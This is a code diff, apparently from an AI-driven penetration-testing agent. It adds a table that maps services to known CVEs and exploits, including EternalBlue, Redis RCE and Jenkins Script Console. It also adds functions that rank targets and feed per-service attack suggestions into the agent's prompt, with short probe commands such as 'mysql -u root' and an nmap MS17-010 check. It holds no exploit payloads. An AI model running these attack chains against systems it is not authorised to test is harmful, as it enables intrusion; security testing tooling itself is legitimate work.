checks: ["Backdoor trigger: user:)"]
|
|
9986
|
+
},
|
|
9987
|
+
// SMB
|
|
9988
|
+
"samba/3.0": {
|
|
9989
|
+
cves: ["CVE-2004-0882"],
|
|
9990
|
+
exploits: ["trans2open exploit"],
|
|
9991
|
+
priority: "high",
|
|
9992
|
+
checks: ["SMBv1 enabled"]
|
|
9993
|
+
},
|
|
9994
|
+
"smb": {
|
|
9995
|
+
cves: ["MS17-010"],
|
|
9996
|
+
exploits: ["EternalBlue exploit"],
|
|
9997
|
+
priority: "critical",
|
|
9998
|
+
checks: ["nmap --script smb-vuln-ms17-010"]
|
|
9999
|
+
},
|
|
10000
|
+
// MySQL
|
|
10001
|
+
"mysql/5.0": {
|
|
10002
|
+
cves: ["CVE-2012-2122"],
|
|
10003
|
+
exploits: ["MariaDB/CMySQL authentication bypass"],
|
|
10004
|
+
priority: "high",
|
|
10005
|
+
checks: ["Try root without password", "mysql -u root"]
|
|
10006
|
+
},
|
|
10007
|
+
// Redis
|
|
10008
|
+
"redis": {
|
|
10009
|
+
cves: [],
|
|
10010
|
+
exploits: ["Unauthenticated RCE via CONFIG SET dir + SLAVEOF"],
|
|
10011
|
+
priority: "critical",
|
|
10012
|
+
checks: ["redis-cli -h TARGET ping", "CONFIG GET dir"]
|
|
10013
|
+
},
|
|
10014
|
+
// Jenkins
|
|
10015
|
+
"jenkins": {
|
|
10016
|
+
cves: [],
|
|
10017
|
+
exploits: ["Script Console RCE", "CVE-2019-1003000"],
|
|
10018
|
+
priority: "high",
|
|
10019
|
+
checks: ["/scriptText endpoint", "/manage/scriptConsole"]
|
|
10020
|
+
},
|
|
10021
|
+
// Elasticsearch
|
|
10022
|
+
"elasticsearch/1": {
|
|
10023
|
+
cves: ["CVE-2014-3120"],
|
|
10024
|
+
exploits: ["Groovy sandbox bypass RCE"],
|
|
10025
|
+
priority: "critical",
|
|
10026
|
+
checks: ["Dynamic script execution"]
|
|
10027
|
+
}
|
|
10028
|
+
};
|
|
10029
|
+
|
|
10030
|
+
// src/shared/utils/attack-intelligence.ts
|
|
10031
|
+
function calculateAttackPriority(findings) {
|
|
10032
|
+
let score = ATTACK_SCORING.BASE_SCORE;
|
|
10033
|
+
if (CRITICAL_SERVICE_PORTS.includes(findings.port)) {
|
|
10034
|
+
score += ATTACK_SCORING.CRITICAL_SERVICE_BONUS;
|
|
10035
|
+
}
|
|
10036
|
+
if (findings.version) {
|
|
10037
|
+
score += ATTACK_SCORING.VERSION_KNOWN_BONUS;
|
|
10038
|
+
const key = `${findings.service.toLowerCase()}/${findings.version.split(".")[0]}`;
|
|
10039
|
+
if (SERVICE_VULN_MAP[key]?.priority === "critical") {
|
|
10040
|
+
score += ATTACK_SCORING.CRITICAL_CVE_BONUS;
|
|
10041
|
+
}
|
|
10042
|
+
}
|
|
10043
|
+
if (!findings.hasAuth && NO_AUTH_CRITICAL_PORTS.includes(findings.port)) {
|
|
10044
|
+
score += ATTACK_SCORING.NO_AUTH_BONUS;
|
|
10045
|
+
}
|
|
10046
|
+
if (PLAINTEXT_HTTP_PORTS.includes(findings.port) && !findings.isHttps) {
|
|
10047
|
+
score += ATTACK_SCORING.PLAINTEXT_HTTP_BONUS;
|
|
10048
|
+
}
|
|
10049
|
+
return Math.min(score, ATTACK_SCORING.MAX_SCORE);
|
|
10050
|
+
}
|
|
10051
|
+
function getAttacksForService(service, port) {
|
|
10052
|
+
const attacks = [];
|
|
10053
|
+
const svc = service.toLowerCase();
|
|
10054
|
+
if (WEB_SERVICE_PORTS.includes(port)) {
|
|
10055
|
+
attacks.push(
|
|
10056
|
+
"OWASP-A01: Directory brute force",
|
|
10057
|
+
"OWASP-A03: SQLi testing",
|
|
10058
|
+
"OWASP-A03: XSS testing",
|
|
10059
|
+
"OWASP-A05: Header analysis",
|
|
10060
|
+
"OWASP-A10: SSRF testing",
|
|
10061
|
+
"OWASP-A06: Version fingerprinting"
|
|
10062
|
+
);
|
|
10063
|
+
}
|
|
10064
|
+
if (port === SERVICE_PORTS.SSH || svc.includes("ssh")) {
|
|
10065
|
+
attacks.push(
|
|
10066
|
+
"SSH version scan",
|
|
10067
|
+
"Brute force common credentials",
|
|
10068
|
+
"SSH key enumeration",
|
|
10069
|
+
"Check for weak algorithms"
|
|
10070
|
+
);
|
|
10071
|
+
}
|
|
10072
|
+
if (SMB_PORTS.includes(port) || svc.includes("smb")) {
|
|
10073
|
+
attacks.push(
|
|
10074
|
+
"MS17-010 EternalBlue check",
|
|
10075
|
+
"SMB enumeration",
|
|
10076
|
+
"Null session test",
|
|
10077
|
+
"Share enumeration"
|
|
10078
|
+
);
|
|
10079
|
+
}
|
|
10080
|
+
if (DATABASE_PORTS.includes(port) || svc.includes("sql") || svc.includes("mongo") || svc.includes("redis")) {
|
|
10081
|
+
attacks.push(
|
|
10082
|
+
"Default credential test",
|
|
10083
|
+
"Unauthenticated access check",
|
|
10084
|
+
"SQLi through web app",
|
|
10085
|
+
"UDF injection",
|
|
10086
|
+
"NoSQL injection"
|
|
10087
|
+
);
|
|
10088
|
+
}
|
|
10089
|
+
if (port === SERVICE_PORTS.FTP || svc.includes("ftp")) {
|
|
10090
|
+
attacks.push(
|
|
10091
|
+
"Anonymous login test",
|
|
10092
|
+
"Brute force credentials",
|
|
10093
|
+
"VSFTPD backdoor check",
|
|
10094
|
+
"Directory traversal"
|
|
10095
|
+
);
|
|
10096
|
+
}
|
|
10097
|
+
return attacks;
|
|
10098
|
+
}
|
|
10099
|
+
|
|
9306
10100
|
// src/agents/prompt-builder.ts
|
|
9307
10101
|
var __dirname4 = dirname5(fileURLToPath4(import.meta.url));
|
|
9308
10102
|
var PROMPTS_DIR = join10(__dirname4, "prompts");
|
|
@@ -9366,6 +10160,7 @@ var PromptBuilder = class {
|
|
|
9366
10160
|
* 8. Time awareness + adaptive strategy (#8)
|
|
9367
10161
|
* 9. Challenge analysis (#2: Auto-Prompter)
|
|
9368
10162
|
* 10. Attack graph (#6: recommended attack chains)
|
|
10163
|
+
* 10b. Attack intelligence — per-service attack suggestions
|
|
9369
10164
|
* 11. Working memory (#12: failed/succeeded attempts)
|
|
9370
10165
|
* 12. Session timeline (#12: episodic memory)
|
|
9371
10166
|
* 13. Learned techniques (#7: dynamic technique library)
|
|
@@ -9387,6 +10182,8 @@ var PromptBuilder = class {
|
|
|
9387
10182
|
// #2
|
|
9388
10183
|
this.getAttackGraphFragment(),
|
|
9389
10184
|
// #6
|
|
10185
|
+
this.getAttackIntelligenceFragment(),
|
|
10186
|
+
// service-specific attacks
|
|
9390
10187
|
this.getWorkingMemoryFragment(),
|
|
9391
10188
|
// #12
|
|
9392
10189
|
this.getEpisodicMemoryFragment(),
|
|
@@ -9540,6 +10337,30 @@ ${strategy.directive}
|
|
|
9540
10337
|
getAttackGraphFragment() {
|
|
9541
10338
|
return this.state.attackGraph.toPrompt();
|
|
9542
10339
|
}
|
|
10340
|
+
// --- Attack Intelligence: per-service bootstrapped attack suggestions ---
|
|
10341
|
+
getAttackIntelligenceFragment() {
|
|
10342
|
+
const targets = this.state.getAllTargets();
|
|
10343
|
+
if (targets.length === 0) return "";
|
|
10344
|
+
const lines = [];
|
|
10345
|
+
for (const target of targets) {
|
|
10346
|
+
for (const port of target.ports) {
|
|
10347
|
+
const attacks = getAttacksForService(port.service || "", port.port);
|
|
10348
|
+
if (attacks.length === 0) continue;
|
|
10349
|
+
const priority = calculateAttackPriority({
|
|
10350
|
+
service: port.service || "",
|
|
10351
|
+
version: port.version,
|
|
10352
|
+
port: port.port
|
|
10353
|
+
});
|
|
10354
|
+
lines.push(`[${target.ip}:${port.port}] ${port.service || "unknown"} (priority: ${priority}/100)`);
|
|
10355
|
+
attacks.forEach((a) => lines.push(` - ${a}`));
|
|
10356
|
+
}
|
|
10357
|
+
}
|
|
10358
|
+
if (lines.length === 0) return "";
|
|
10359
|
+
return `<attack-intelligence>
|
|
10360
|
+
Bootstrap attack suggestions (try these first, adapt if they fail):
|
|
10361
|
+
${lines.join("\n")}
|
|
10362
|
+
</attack-intelligence>`;
|
|
10363
|
+
}
|
|
9543
10364
|
// --- Improvement #12: Working Memory ---
|
|
9544
10365
|
getWorkingMemoryFragment() {
|
|
9545
10366
|
return this.state.workingMemory.toPrompt();
|